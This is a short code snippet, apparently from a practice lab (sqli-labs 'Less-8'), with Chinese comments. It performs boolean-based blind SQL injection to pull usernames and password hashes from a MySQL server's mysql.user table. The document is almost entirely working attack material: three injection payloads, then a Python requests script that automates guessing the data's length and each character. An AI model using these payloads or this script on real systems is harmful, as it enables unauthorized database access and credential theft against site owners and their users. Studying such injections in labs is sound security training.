?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

import requests

# 只需要修改url 和 兩個payload即可
# 目標網址（不帶參數）
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解長度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 獲取長度
def getLength(url, payload):
    length = 1  # 初始測試長度為1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 頁面中出現此內容則表示成功
        if 'You are in...........' in response.text:
            print('測試長度完成，長度為：', length)
            return length;
        else:
            print('正在測試長度：',length)
            length += 1  # 測試長度遞增

# 獲取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/庫名為空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '個字符猜解成功：', str)
                break;
    return str;

# 開始猜解
getStr(url, payload_str, getLength(url, payload_len))